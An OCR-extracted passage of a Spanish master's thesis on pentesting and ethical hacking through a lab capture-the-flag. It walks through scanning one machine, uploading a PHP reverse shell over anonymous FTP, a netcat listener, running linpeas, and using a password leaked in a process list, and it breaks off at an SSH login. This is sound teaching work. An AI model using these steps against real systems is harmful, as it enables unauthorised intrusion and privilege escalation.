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Resumen del Trabajo:

En este trabajo se expone el proceso de andlisis de diferentes sistemas informaticos que
investiga los diferentes problemas de seguridad de un sistema. Para esto se han preparado
cuatro sistemas virtuales con el proposito de obtener la informacién oculta que guardan.
Esto se hara buscando y aprovechando las brechas de seguridad que contienen. Se ex-
pondran herramientas y métodos de andlisis de sistemas e identificacién y explotacién de
vulnerabilidades. También se propondran medidas para mitigar las debilidades encontradas
en los sistemas de forma que un atacante no pueda hacer uso de ellas.

La idea del proyecto surge como respuesta al aumento de ciberataques en organizaciones
gubernamentales y empresas durante los ultimos anos. Una de las medidas mas importan-
tes para prevenir este tipo de amenazas es analizar los sistemas informaticos para detectar
y solventar los problemas de seguridad antes de que los encuentre un actor malicioso.

Debido a esta necesidad, es necesario estudiar y comprender el procesos de deteccidon de
vulnerabilidades en los sistemas, dado que en muchas ocasiones las herramientas automa-
ticas no son suficiente para encontrarlas. Es por esto que se deben conocer en profundidad
para que se pueda hacer un andlisis y explotacién manual cuando sea necesario.

Abstract (in English, 250 words or less):

This paper presents the process of analysis of different computer systems with the aim
of finding the security problems in them. For this reason, four virtual systems have been
prepared with the purpose of obtaining the hidden information they hold. This will be done
by searching for the security flaws they contain and exploiting them. Tools and methods
for system analysis and vulnerability identification and exploitation will be presented. Also,
measures to mitigate the weaknesses found in the systems will be proposed so that an
attacker cannot make use of them.

The idea for the project arose in response to the increase in cyber-attacks to government
organizations and companies in recent years. One of the most important measures to pre-
vent this type of threat is to analyze computer systems to detect and solve security problems
before they are found by a malicious actor.

Due to this need, it is necessary to study and understand the process of detecting vulne-
rabilities in systems, since in many occasions automatic tools are not enough to find them.
This is why they must be known in depth so that a manual security analysis and vulnerability
exploitation can be done when necessary.
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Capitulo 1

Introduccion

1.1. Contexto

Hoy en dia, la seguridad informatica estd ganando cada vez mas importancia en la sociedad. Esto
se debe al continuo aumento de ciberataques a organizaciones gubernamentales y empresas a lo largo
de los anos. Estos ataques no solo aumentan en nimero, sino que también se vuelven mas sofisticados
y mas dificiles de detectar y prevenir.

Una de las medidas disponibles para mitigar el riesgo de un posible ciberataque es realizar un test
de penetracidn en los sistemas informaticos, mas conocido como Penetration testing o Pentesting. Este
proceso consiste en hacer un analisis de vulnerabilidades de los sistemas e intentar vulnerarlos como
lo haria un atacante. Posteriormente, se hace un informe de las debilidades encontradas y se sugieren
medidas de mitigacion. De esta manera, se pueden descubrir posibles vectores de ataque informaticos
y solventarlos antes de que un atacante los descubra.

Es muy comun que se exploten vulnerabilidades ya descubiertas y corregidas pero, dado que hay
muchos equipos que se quedan sin actualizar, siguen siendo vulnerables a esta amenaza.

1.2. Motivacion

Dada la situacién actual con el numero de ciberataques creciendo a niveles acelerados, surge la
necesidad de tener una base sélida de conocimientos de ciberseguridad y tests de penetracion de sis-
temas para poder detectar, solventar y mitigar vulnerabilidades en sistemas informaticos para prevenir
estos futuros ataques. EI comprender cémo funcionan estas amenazas, las técnicas que usan y sus
objetivos pueden ser factores determinantes para mejorar su deteccién y evitar que puedan causar
danos.

1.3. Objetivos y alcance

Como hemos mencionado, nuestro principal objetivo reside en comprender el proceso de analisis de
vulnerabilidades de sistemas para, posteriormente, estudiar posibles medidas de proteccion. Por ello,
los objetivos se concretaran en:

1. Llevar a cabo el descubrimiento y enumeracion de maquinas en un entorno de aprendizaje
o CTF.

2. Realizar la busqueda y deteccion de vulnerabilidades en sistemas.
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3.

4.

Efectuar la explotacion de las vulnerabilidades encontradas.

Realizar una deteccion y ejecucion de una escalada de privilegios.

Proponer mitigaciones de seguridad apropiadas para las vulnerabilidades detectadas.
Conseguir los diferentes flags de los entornos.

Aplicar una metodologia de penetracion de sistemas.

Llevar a cabo una investigacién sobre conceptos y técnicas de hacking ético.

Hacer uso de herramientas de pentesting.
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Capitulo 2

Plan de proyecto

A continuacion se detallan los conceptos y acronimos que se deben conocer, el plan de desarrollo
de este TFM y finalmente el plan de riesgos.

2.1. Conceptos y acronimos

= Exploit: programa informatico, una parte de un software o una secuencia de comandos que se
aprovecha de un error o0 vulnerabilidad para provocar un comportamiento no intencionado o im-
previsto en un software, hardware o en cualquier dispositivo electrénico (“;Qué es un Exploit?”,
2020).

= XSS (Cross-Site Scripting): son un tipo de inyeccién, en el que se inyectan scripts maliciosos en
sitios web benignos y de confianza (“Cross Site Scripting (XSS)”, |[2020).

2.2. Modelo y fases del proyecto

Para conseguir alcanzar estos objetivos marcados en el punto anterior, se van a plantear una serie
de tareas a realizar, de modo que si se cumplen estas tareas se cumplira el objetivo final. Mas adelante
en el apartado se detallara la planificacion de como se enfocaran las tareas en tiempo real. Las tareas
que se van a realizar en el proyecto son:

1. Hito 1: consiste en llevar a cabo una enumeracion de servicios, puertos y software que se ejecutan
en ambos contenedores. Ademas, como complemento, se puede utilizar escaneres de analisis de
vulnerabilidades para buscar o detectar vulnerabilidades conocidas en el sistema.

2. Hito 2: lograr la explotacién de una vulnerabilidad o aprovechar alguna debilidad en la maquina
OoOps_machine para obtener la primera flag.

3. Hito 3: lograr la escalada de privilegios en la maquina OoOps_machine. Con esta escalada de
privilegios se tiene que llegar a ser el usuario root en la maquina. Cuando se sea usuario root se
podra obtener la segunda flag.

4. Hito 4: lograr explotar alguna vulnerabilidad en la maquina Odyssey. Esta maquina solo tiene una
flag.

5. Hito 5: conseguir acceso y explotar las vulnerabilidades que presenta la maquina
Jump_force_one. En este entorno se conseguira una flag.

6. Hito 6: conseguir acceso a la maquina Jump_force_two para conseguir la ultima flag.

7. Desarrollo de la memoria: completar la documentacién requerida para la presentacion del tra-
bajo.
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8. Desarrollo de la presentacion del trabajo: crear una presentacion para exponer el trabajo.

Para la realizacion de este proyecto se ha realizado una planificacién temporal. Asi pues se ha
creado el siguiente diagrama de Gantt, en el cual se recoge el tiempo estimado en funcién del comienzo
del proyecto y de la fecha de presentacién final:

Name

Hito 1

Hite 2

< S5

Begin date End date

28/02/2022 04s03/2022
07/03/2022  11/03/2022

Week 8 [Week 9 IWeek 10 IWeek 11 lWeek 12 lWeek 13 1Wr-:ek 141Week 15 ]Week 16 ]Week 17 ]Week 18 lWeek 19 lWEEk 20

Hite 3

Hito 4

Hite 5

Hito &

14/03/2022 18/03/2022

21/03/2022 25/03/2022

28/03/2022 01/04/2022

04/04/2022 08/04/2022

Desarrollo memoria

Presentacion TFM

11/04/2022 06/05/2022 [
08/05/2022  20/05/2022

Figura 2.1: Diagrama de Gantt

2.2.1. Fases de la planificacion

ID: 01 Hito 1

Predecesoras: -

Duracion: 5 dias

Consiste en llevar a cabo una enumeracién de servicios, puertos y software que se
ejecutan en ambos contenedores.

ID: 02 Hito 2

Predecesoras: 01

Duracién: 5 dias

Lograr la explotacion de una vulnerabilidad o aprovechar alguna debilidad en la
maquina OoOps_machine para obtener la primera flag.

ID: 03 Hito 3

Predecesoras: 02

Duracién: 5 dias

Lograr la escalada de privilegios en la maquina OoOps_machine.

ID: 04 Hito 4

Predecesoras: 03

Duracién: 5 dias

Lograr explotar alguna vulnerabilidad en la maquina Odyssey.

ID: 05 Hito 5

Predecesoras: 04

Duracion: 5 dias

Conseguir acceso y explotar las vulnerabilidades que presenta la maquina
jump_force_one.
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ID: 06 Hito 6

Predecesoras: 05

Duracién: 5 dias

Conseguir acceso a la maquina jump_force two para conseguir la ultima flag.

ID: 07 Desarrollo de la memoria

Predecesoras: 06

Duracion: 20 dias

Completar la documentacién requerida para la presentacion del trabajo.

ID: 08 Desarrollo de la memoria

Predecesoras: 07

Duracién: 10 dias

Crear una presentacion para exponer el trabajo.

2.3. Plan de contingencia

A continuacion se presenta en la tabla el plan de contingencia para los sucesos que pudieran
ocurrir a lo largo del desarrollo del proyecto:

Riesgo Contingencia

Averia de las maquinas usadas para rea- | En este caso se deberan reparar los equi-

lizar el proyecto pos, adquirir otros para sustituirlos o se
pospondra la fecha de entrega del pro-
yecto.

El tiempo disponible no es suficiente Se retrasara la fecha de entrega del pro-

yecto hasta la segunda convocatoria.

Personal no disponible En caso de que el personal no esté dispo-

nible causando un retraso en el proyecto,
se pospondra la fecha de entrega a la se-
gunda convocatoria.

Cuadro 2.1: Tabla de contingencia
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Capitulo 3

Marco teorico

3.1. QuéesunCTF

El término CTF se refiere a un tipo de competicién de seguridad informatica conocido como Capture
the Flag o Atrapa la bandera. Este tipo de competiciones consisten en encontrar la flag (bandera) oculta
en un sistema informatico. Para poder llegar a ella, se debera encontrar alguna debilidad o vulnerabili-
dad en este y explotarla. Los participantes deberan superar varias pruebas para poder conseguir todas
las flags. El primero que consiga todas o el que consiga un mayor numero de ellas antes del limite de
tiempo sera el ganador.

Las competiciones normalmente tienen dos tipos de concursos:

= Jeopardy: consiste en realizar un conjunto de pruebas que van aumentando en dificultad confor-
me avanza la competicion.

= Blue team vs Red team: dos equipos con roles opuestos se enfrentan. El Blue team se encargara
de defender sus sistemas y el Red team se encargara de atacarlo. Después de un tiempo se
intercambian los roles.

Los tipos de pruebas suelen estar entre los siguientes tipos:

= Andlisis forense (Forensics): analizar imagenes de memoria, discos duros o capturas de red para
encontrar evidencias ocultas.

m Criptografia (Crypto): descifrar mensajes ocultos en textos cifrados.

m Esteganografia (Stego): desvelar informacidn oculta en imagenes, sonidos o videos.
» Explotacién (Pwn): descubrir y usar las debilidades de un sistema para vulnerarlo.

= Ingenieria inversa (Reversing): inferir el funcionamiento de un software.

= Programacion (Scripting): programar un script para realizar una tarea determinada.
= Web: descubrir vulnerabilidades web.

= Miscelaneo: retos aleatorios que pueden ser de distintas categorias.

3.2. Pentesting

El Pentesting o Penetration Testing (“;,Qué es el Pentesting?”, [2020), también conocido como Test
de penetracion de sistemas es un conjunto de procesos que investiga los diferentes problemas de
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seguridad de un sistema, hace pruebas, analiza y ofrece soluciones para solventarlos. Estos tests
se realizan para prevenir futuros ataques informaticos, eliminando las vulnerabilidades antes de que
puedan ser aprovechadas por un atacante. Un test de penetracion combina herramientas automaticas
con procesos manuales para evaluar las defensas de una organizacion.

Existen los siguientes tipos de test:

= Test de caja blanca “White Box”: el pentester o auditor conoce todos los datos sobre el siste-
ma como estructura, contrasenas, IPs, firewalls. .. y suele formar parte del equipo técnico de la
empresa. Es el mas completo y forma parte de un analisis integral de la estructura. Con toda esta
informacion es mas facil encontrar vulnerabilidades y remediarlas.

= Test de caja negra “Black Box™: es el tipo de pentesting méas “real” ya que, el Pentester no tiene
apenas datos sobre la organizacién y actia como un ciberdelincuente mas. Por eso, como si fuera
una prueba “a ciegas”, se debe descubrir las vulnerabilidades y amenazas en la estructura de la
red.

= Test de caja gris “Grey Box”: Puede definirse como la mezcla de los dos anteriores, el auditor
posee cierta informacién a la hora de realizar el test, la suficiente para no partir de cero. Es el tipo
de pentest mas recomendado ya que se necesitara tiempo y medios para poder realizar este test
de penetracion en su totalidad.

TIPOS DE PENTESTING

Es el mas completo, El Pentester o Auditor
WHITE BOX conoce todos los datos sobre el sistema:
estructura, contrasenas, IPs, firewalls...

Es el mas “real” ya que el Pentester no tiene
BLACK BOX apenas datos sobre la organizacion y actia
como si fuera un ciberdelincuente mas.

Puede definirse como la mezcla de los dos
GREY BOX anteriores. El Pentester posee cierta
informacion por lo que es el tipo de pentest
mas recomendado.

Canpus Internacional

CIBERSEGURIDAD

Figura 3.1: Tipos de pentesting

Ademas de los tipos enunciados, los test de penetracion tienen las siguientes fases (“Las fases de
un test de penetracion”, 2015):

1. Definicion del alcance (scope): se identifican los sistemas y programas que se van a evaluar en
el test.
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2.

3.3.

Reconocimiento: se recoge toda la informacién posible de los sistemas. Se usan programas
automaticos como escaneres para hacerse una idea de los sistemas y su funcionamiento.

Analisis de vulnerabilidades: identificar las vulnerabilidades en los sistemas usando la infor-
macién de la fase de reconocimiento. También se realiza un andlisis manual buscando posibles
errores o fallos. En este momento se debe seleccionar y utilizar correctamente las herramientas
disponibles de forma creativa para conseguir los objetivos.

. Explotacion: intentar conseguir acceso a los sistemas objetivo. Para ello se usaran exploits contra

las vulnerabilidades identificadas en fases anteriores o se usaran credenciales obtenidas para
ganar acceso a los sistemas.

Post-Explotacion: se tratard de conseguir el maximo nivel de privilegios, informacién de red y
acceso al mayor numero posible de sistemas identificando qué datos y/o servicios tenemos a
nuestro alcance.

Informe: presentar el resultado de la auditoria al cliente. Se debe exponer la gravedad de las
vulnerabilidades descubiertas indicando coémo deberian solventarse. Esta fase es la mas impor-
tante dado que, si el cliente no comprende qué pasa y cémo debe solventar los problemas, el test
perdera su propésito.

¢ Cémo suelen entrar los malos?

En el marco de ciberseguridad actual y con todos los ataques a organizaciones y empresas, surge
la duda de cuales son las vulnerabilidades mas comunes en los sistemas. Esta informacién ayudaria a
prevenir intrusiones en los sistemas Yy filtraciones de datos si se solventaran.

Segun el informe “The State Of Pentesting 2021” (“The state of Pentesting 2021”,[2021) de Cobalt y
basandose en 1602 tests de penetracién, se presentaron los siguientes datos:

El 28.1 % de las vulnerabilidades encontradas son errores de configuracion de seguridad de
servidores.

El 15.5 % son vulnerabilidades XSS o Cross-Site Scripting.

El 14.7 % son errores de control de acceso. Esto consiste en que hay usuarios que pueden
acceder a elementos del sistema que no deberian.

El 8.4 % son exposicion de datos sensibles. Esto pueden ser desde direcciones de correo hasta
contrasenas internas.

El 8% son errores de sesion y autenticacion. Esto es un fallo de seguridad de las aplicaciones
web que surge cuando las funciones de autenticacion y gestion de sesiones estan mal implemen-
tadas. Esto permite a los atacantes comprometer datos sensibles y tomar el control de cuentas
validas o incluso de toda la aplicacion. El impacto técnico de esta vulnerabilidad es muy grave, ya
que el atacante tendra acceso a todos los recursos a los que puede acceder un usuario valido.

El informe también incluye un cuestionario realizado a profesionales de Tl de Estados Unidos, Ale-
mania, Austria y Suiza y concluye que los equipos de seguridad siguen luchando contra las mismas
vulnerabilidades conocidas que han plagado la industria durante afos. Vulnerabilidades como XSS y
control de acceso figuran como un problema de seguridad prevalente en el Top 10 de OWASP cada
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ano desde 2003. Por mucho que los equipos aspiren a un desarrollo seguro, todavia hay lagunas en la
prevencion y la reparacién.

Con esto comprobamos que, aunque se pone mucho énfasis en el desarrollo seguro de aplicaciones,
los test de penetracion siguen siendo imprescindibles para detectar vulnerabilidades y prevenir ataques.

3.4. Tacticas de adversarios, técnicas y modelo y marco comun de co-
nocimientos

The MITRE Corporation, mas conocida como MITRE, es una organizacién estadounidense sin ani-
mo de lucro localizada en Massachusetts y Virginia. Provee ingenieria de sistemas, investigacion y
desarrollo, y soporte sobre tecnologias de la informacion al gobierno de Estados Unidos de América.

En 2013 crearon ATT&CK (Adversarial Tactics, Techniques & Common Knowledge), a la fecha en
versién beta, para catalogar y analizar las Amenazas Persistentes Avanzadas. Esto es un repositorio
de técnicas y tacticas usadas por atacantes de incidentes que han afectado a organizaciones.

MITRE tiene tres matrices de técnicas:

= Matriz PRE-ATTACK&CK: abarca las fases de reconocimiento y militarizacion de la Cyber Kill
Chain (“Matriz Pre de Mitre”,2022).

= Matriz ATT&CK para empresa: recoge el resto de fases aplicado a cada sistema operativo (“Ma-
triz de empresa de Mitre”, [2022).

= Matriz ATT&CK para dispositivos moviles: presenta técnicas empleadas en dispositivos mévi-
les (“Matriz de dispositivos méviles de Mitre”, [2022).

Deliver Control Maintain

Exploit Execute

Weaponize

PRE-ATT&CK

ATT&CK for Enterprise

Priority Definition Initial Access
Planning, Direction Execution
Target Selection Persistence

Information Gathering
Technical, People, Organizational
| Weakness Identification
Technical, People, Organizational
Adversary OpSec
Establish & Maintain Infrastructure
Persona Development
Build Capabilities
Test Capabilities
Stage Capabilities

Privilege Escalation
Defense Evasion

! Credential Access

Discovery

Lateral Movement
Collection

Exfiltration

Command and Control
Impact

Figura 3.2: Esquema de matrices de MITRE

Algunas de estas tacticas se van a emplear en el experimento. Actualmente, la matriz de Mitre recoge
las siguientes 14 categorias de tacticas de ataque: Reconocimiento, Desarrollo de Recursos, Acceso
inicial, Ejecucién, Persistencia, Escalado de privilegios, Evasién de defensa, Acceso de credenciales,
Descubrimiento, Movimiento lateral, Coleccion, Comando y Control, Exfiltracion e Impacto.
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En cada columna de la matriz se presentan las distintas técnicas con las que se podria emplear esa
tactica. Estas técnicas se clasifica en tipos, que a su vez explican en qué consisten y las formas de
mitigar y detectar para cada caso.

A continuacion se presentan algunas de las técnicas mencionadas:

Reconnaissance Resource Initial Access Execution
Development
10 techniques 7 techniques 9 techniques 12 technigues
Active Scanning .o, Acquire Drive-bry Command and
Infrastructure . Compromise Scripting
Gather Victim Host Interpreter i
Infermation .o Compromize Exploit Public-
Accounts z Facing Container
Gather Victim Identity - Application Administration
Infermation 5 Compromise Command
Infrastructure ., Externa
Gather Victim Remote Deploy Container
MNetwor] Develo Services
Information Capabilities .4 Exploitation for
Hardware Client Execution
Gather Victim Org Establish Additions
Information g, Accounts z Inter-Process
- Phighing .z, n Communication z
Phishing for Obtain -
Information 5, Capabilities Replication Mative AP
Through
Search Closed Stage Removahle Scheduled
Sources Capabilities =z, Media Task/Job
Search Open Supply Chain Shared Modules
Technical Compromise ;3
Databases Software
Trusted Deployment Tools
Search Open Relationship
Websites/Domaing 3, System
Valid Services 2,
Search Victim-Owned Accounts py
Wabsites User Execution
Windows
Management
Instrumentation I

Figura 3.3: Matriz de empresa de MITRE (Ult. modif: 27 Abril 2021)

Pagina 10



TFM - Pentesting & Hacking Etico mediante resolucién de un Capture The Flag (CTF) 2021/2022

Capitulo 4

Desarrollo del trabajo

4.1. Maquinas del CTF

Para el desarrollo del trabajo se cuentan con cuatro maquinas distintas:

= 00Ops Machine: contiene dos flags. Debemos explotar una debilidad para acceder a la primera
flag y escalar privilegios dentro de la maquina para obtener la segunda.

= Odyssey: contiene una flag. Se debe explotar una vulnerabilidad para obtener la flag.

= Jump force one: contiene una flag. Se debe conseguir acceso y control remoto de la maquina.

= Jump force two: contiene una flag. Esta maquina se encuentra oculta en la red y habra que
encontrarla para acceder a ella y obtener la flag.

Cada maquina dispone de servicios y caracteristicas concretas que iremos descubriendo en fases
posteriores del trabajo.

4.2. Experimento

En este apartado se presenta el desarrollo del test de penetracién en cada una de las maquinas
enunciadas en el apartado [4.1]
4.2.1. Maquina 1 - OoOps Machine

En este apartado se describiran las fases del andlisis y explotacién de las vulnerabilidades de la
maquina OoOps Machine.
Reconocimiento

Comenzamos con la fase de reconocimiento. En esta fase obtendremos informacion del sistema
como puertos, software y version. Para esto haremos uso varias herramientas.

Primero usaremos la herramienta threader3000 (“Threader3000”, |2020) para detectar los puertos
abiertos de la maquina.
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112~ +| B =2 Tilix: ~/docker TFM/00Ops_machine

eaded Port Scanner
lon 1.0.7
t by The May

-Pn oA 192.168.8.50 19
B
run Nmap or quit to terminal?
Nmap
Threader3000 scan
minal

Figura 4.1: Escaneo con threader3000 de OoOps machine

En los resultados comprobamos que los puertos abiertos son el 21(ftp), 22(ssh) y el 8080(http). Esta
herramienta nos facilita el comando de hmap para obtener mas informacién. Una vez completado este

ultimo, obtenemos mas informacién.

1/2~ + 0| = Tilix: ~/docker TFM/OoOps_machine
Host is up (0.00091s latency).

PORT SERVICE VERSION
ftp vsftpd 3.0.3
onymous FTP login allowed (FTP code 230)
directory listing: PASV IP 10.95.230.1 is not the same as 192.168.0.50

Connected to 192.168.0.15
Logged in as ftp
CII
on bandwidth limit
timeout in

ons will be plain text
n startup, client
cure, fas

OpenSSH 7.6pl Ubuntu 4ubuntu®.3 (Ubuntu Linux; protocol 2.0)

256 27:c
256 d9:3f:38:47:34:80:eb:b5:d3:4a:64:aa:2e:8d:087:086 (ED25519)
http Apache httpd 2.4.29 ((Ubuntu))
roxy might irecting requ s
ader: Apache/2. 9 (Ubuntu)
Prueba de PHP
vice Info: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report anv incorrect results at https://nmap.ore/submit/ .

Figura 4.2: Escaneo con nmap de OoOps machine
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Ahora sabemos lo siguiente:

» El puerto 21 permite conexién con el usuario anonymous.
= El puerto 22 tiene un servicio ssh disponible.
= El puerto 8080 tiene un servidor Apache httpd desplegado.

Identificacion de vulnerabilidades

Ahora que hemos completado la fase de reconocimiento, podemos buscar vulnerabilidades en los
servicios detectados.

Primero nos conectamos al puerto ftp de la maquina y comprobamos que las credenciales anony-
mous:anonymous permiten el acceso. Con el comando Is vemos el directorio html/ y dentro los archivos
html/index.php y html/index.html.bak.

2/2 v |+l ll = Tilix: ~/docker TFM Q | - o0

[grg]llpc][~/

- ftp 192.1
Connected to 192
220 (vsFTPd 3.0.3)

1 Please specify the password.
ssword:

Using binary mode to transfer files.
ftp> 1s -al
T command successful. Consider using PASV.
e comes the directory listing.
{ 10 2] 4096 Apr 11
18 [0} 4096 Apr 11
drwxrwxrwx 16 ] 4096 Apr 11
Directory send OK.
> cd html
250 Directory successfully changed.
ftp> 1s -al
T command successful. Consider using PASV.

4096 ApT

4096 ApT ) ..

18918 Apr 2 index.html.bak
164 Apr 2020 index.php

Figura 4.3: Escaneo con ftp de OoOps machine

Algo de lo que nos percatamos es de que tenemos permisos de escritura en la carpeta html. Supone-
mMos que esta carpeta es la que contiene los archivos del servidor Apache que antes hemos detectado.

drwxr-xr-x - - 2020 .
drwxr-xr-x - - 2020 ..

drwxrwxrwx - - 20260 html

Figura 4.4: Escaneo con ftp de OoOps machine
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Para comprobar nuestra teoria, hacemos un script de prueba de PHP para subirlo al servidor y ver

si podemos acceder a este desde el portal web.

E[grg] [pc]l~
« cat hello.php
<htmlz

<head>
<title>PHP Test</title>
</head>

<body>

<?php echo '<p>Hello World</p>'; 7>

</body>
</html>
[:[grg][pc][hfx r TFM]

Figura 4.5: Script hello.php

Probamos a subir el archivo a través de ftp. El archivo se envia correctamente.

ftp> 1s -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.

drwxrwxrwx 18 [0} 4096 Apr 11
drwxr-xr-x 18 [0} 4096 Apr 11
-rw-r--r-- 16 1] 18918 Apr 11
-rW-r--T-- 10 2] 164 Apr 11
226 Directory send OK.

ftp> put hello.php

local: hello.php remote: hello.php

200 PORT command successful. Consider using PASV.
150 Ok to send data.

226 Transfer complete.

113 bytes sent in 0.00 secs (1.8072 MB/s)

ftp> 1s -al

200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.

drwxrwxrwx
drwxr-xr-x
CFW-T--T--
IrW-T--T--
CFW-T--T--
226 Directory s

4896 Feb
4096 Apr
113 Feb
10918 Apr
164 Apr

A

nd 0K.

b

Figura 4.6: Put hello.php

2020 .

2026 ..

26020 index.html.bak
2028 index.php

13:20 .

2020 ..

13:268 hello.php

2020 index.html.bak
2028 index.php

Intentamos acceder al archivo a través del puerto http y comprobamos que no solo podemos subir

cualquier archivo sino que también podemos acceder a él.
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@ PHP Test x | + = O o
& C A Notsecure | 192.168.0.15:8080/hello.php > o B a
Hello World

Figura 4.7: Ejecucion de hello.php

Explotacion

Ahora que sabemos esto, podemos subir un shell en formato php, ejecutarlo y obtener una shell
remota dentro de la maquina. Para esto, usaremos el script php-reverse-shell de pentestmonkey
(“Php-reverse-shell”,[2011). Con este script solo tenemos que cambiar la IP y el puerto para que funcio-
ne. Ponemos la IP de la maquina en la que queremos recibir la conexién y un puerto, en nuestro caso
el 1234.

tVVERSION

tip = '] A59'; /7 CHANGE THIS
sport ; ; J// CHANGE THIS
tchunk si ) ;

fwrite

pError

Figura 4.8: Pentestmonkey php-reverse-shell.php

Posteriormente, subimos el archivo a través de ftp a OoOpsMachine.
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command successful.
150 Here comes the directory listing.
drwxrwxrwx 18 4096
drwxr-xr-x 10 4096
-rw-r--r-- 1 101 02 113
-FwW-r--r-- 18 108918
-rw-r--r-- 160 5 164
226 Directory send O
ftp> put php-rever
local: php-reve
200 PORT command suc
150 Ok to send data.
226 Trar r complete.

ell.php

sful.

command successful.
150 Here comes the directory listing.
drwxrwxrwx 10 y 4096
drwxr-xr-x 18 g 4096
-rw-r--r-- 1 101 D2 113
-FwW-r--r-- 18 : 108918
-IW-r--r-- 10 y 164
-FwW-r--r-- 1 181 5490
226 Directory send OK.
ftp> I

Consider using PASV.

Feb 25
Apr 11
Feb 25
Apr 11
Apr 11

ell.php remote: php-reverse
Consider using PASV.

Consider using PASV.

Feb 25
Apr 11
Feb 25
Apr 11
Apr 11
Feb 25

hello.php
index.html.bak
2020 index.php

hell.php

hello.php
index.html.bak
index.php

32 php-reverse-shell.php

Figura 4.9: Put php-reverse-shell.php

Abrimos el puerto local 1234 con netcat para recibir la conexidén con el siguiente comando.

i nc -lvnp 1234

Listing 4.1: Comando netcat

Y accedemos al script en el portal web para activar la shell remota y recibir la conexién.
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[grg][pc]l- cer TFM]
« nc -lvnp 1
Listening on 0.0.6@

7 7 7 202202110435~1644952300~21.10~96763F
SMP Tue Feb 9:52:40 b4 64 x8 4 GNU/Linux
13:37:19 up 47 min, load average: 0.49, 0.41, 8.32

TTY FROM LOGIN@) IDLE JCPU PCPU WHAT
3(www-data) gic (www-data) groups (www-data)
/bin/sh: ©: can't access tty; job control turned off
$ whoami
www-data

L |

Figura 4.11: Shell local

Ahora que estamos dentro, buscamos la flag con el comando find y obtenemos la primera flag.

3/3 > +| 0 = Tilix: ~/docker TFM Q |- o0
[grgllpc]l-
[: H

= Nnc -lvnp
Listening on 0.0.0.8 1234
Connection received on 2
Linux a@7e748eb870 5.15. b€ 2: neric #202202110435~1644952300~21.10~96763F
1 SMP Tue Feb 15 19:52:48@ 6 64 x86_64 XB 4 GNU/Linux
13:43:39 up 53 min, O users, load average: 0.46, 0.52, 0.41
USER TTY FROM LOGING) IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(wnw-data) groups=33(www-data)
/bin/sh: ©: can't access tty; job control turned off
$ whoami
www-data
$ find / -name flag.txt 2>/dev/null
/home/hacker/flag.txt
$ cat /home/hacker/flag.txt
244cdf401e667cca/7bB228066096985

$ []

Figura 4.12: Flag 1

Post-Explotacion

En esta fase vamos a proceder con la escala de privilegios para conseguir el nivel maximo de pri-
vilegios en la maquina y asi obtener la segunda flag. Dado que hay muchos métodos para escalar
privilegios, usaremos el script linpeas.sh (“PEASS-ng - Privilege Escalation Awesome Scripts SUITE”,
2021). Este script nos permitird de forma automatica comprobar mucha informacién que puede ser
relevante.

Para poder ejecutar el script, primero tenemos que subirlo al servidor y posteriormente moverlo a
la carpeta /tmp. Este directorio se usa para almacenar archivos temporales y lo mas probable es que
tengamos permisos de ejecucion.
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2/3 > |+l Tilix: ~/docker TFM Q|- [ N

ftp> 1ls -al
200 PORT command successful. Consider using PASVY.
150 Here comes the directory listing.
drwxrwxruwx : : 4096 Feb 25 13:32
drwxr-xr-x : : 4096 Apr 11 2 oo
-rw-r--r-- 113 Feb 25 13: hello.php
10918 Apr 11 2 index.html.bak
164 Apr 11 2020 index.php
1 181 54908 Feb 25 13:32 php-reverse-shell.php

226 Directory send OK.

200 PORT command successful. Co der using PASV.

158 0k to send data.

226 Trans complete.

765867 bytes sent in 0.81 secs (113.3790 MB/s)

ftp> 1ls -al

2008 T command successful. Consider using PASV.

150 Here comes the directory listing.

drwxrwxrwx

drwxr-xr-x

CPW-T-—F--
r--r--

CPW-T-—F--

CPW-T-—P--

4096 Feb
4096 Apr
113 Feb
10918 Apr
164 Apr
101 765867 Feb
1 101 5490 Feb

irectory send OK.

hello.php
index.html.bak
index.php
linpeas.sh

32 php-reverse-shell.php

1
1
1
1 @
1
1

Pd P = = B B

Lo

Figura 4.13: Put linpeas.sh

Ahora dentro del shell que teniamos, movemos el archivo a la carpeta /tmp.

$ cd var/www/html

-al
total 788
drwxrwxrwx 1 root root 4096
drwxr-xr-x 1 root root LB96
RN ftp ftp 113
-rwW-r--r-- root root 10918
-rw-r--r-- root root 164
NG ftp ftp 765867
NG ftp ftp 549€E
$ cp linpeas.sh /tmp
$

(%]

o

hello.php
index.html.bak
index.php

linpeas.sh
php-reverse-shell.php

D DD

P
1
2
1
1
2
2

5
1
5
1
1
5
5

[N WS I L R S R L T L [ P ¥

Bl Bl

Figura 4.14: Copia de linpeas.sh a /tmp

Y ejecutamos el script.
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3/3 - +| 0 F Tilix: ~/docker TFM Q

$ sh /tmp/linpe

Become a Patreon
Follow on Twitter
Respect on HTB

linpeas-ng by carlospolop

[ADVISORY: This script should be used for authorized penetration testing and/or educational
purposes only. Any misuse of this software will not be the responsibility of the author o

Figura 4.15: Ejecucion de linpeas.sh

Entre todos los datos que obtenemos, vemos que hay procesos peculiares ejecutandose como root
en la maquina. En concreto nos fijamos en “/bin/bash ./myhacker.sh tefeme_86_pass”.

3jfa~v |+l Tilix: ~/docker TFM Qe o0

[=========# Cleaned processes
Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
18380 : pts/@ SNs+ 13: 0
29152 7 13: 0
35456 3052 ? : B _ fusr/sbin/
39932 29 ? £33 0 _ /usr/sbin/
0 -k start
-k s
-k
-k
-k
-k

wwwn

w

v

_ ps fauxwww
/linpea
start
r/sbin/sshd
SN+ 5 0 i sh ./myhacker.sh tefeme_
477 6 SN+ 136 B leep 30
616 0.0 0.€ 6 760 pts/0 SN+ 136 0:0€ ) 1

F—————————% Binary cesses permissions (non 'root root' and not belonging to current user)
IYX3 a 3 urs

VT PR N P S N ISy B JOP ey Py PP, PR ey ey

Figura 4.16: Procesos en ejecucion
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En la fase anterior hemos encontrado la flag en el directorio del usuario hacker y en la fase de
reconocimiento hemos visto que el puerto 22 (ssh) esta abierto. Este proceso recibe como argumento

la cadena “tefeme_86_pass”. Esto podria ser la contrasena del usuario hacker.

Procedemos a verificar nuestra teoria e intentamos loguearnos por ssh en la maquina con las cre-
denciales hacker:tefeme_86_pass.

4/~ |+ [l R Tilix: hacker@a07e748eh870: ~
[:[g‘g][pCJ[h]

« ssh hacker@192.168.6.15
The authenticity of h '192 .0.15 (192.168.0.15)' can't be established.
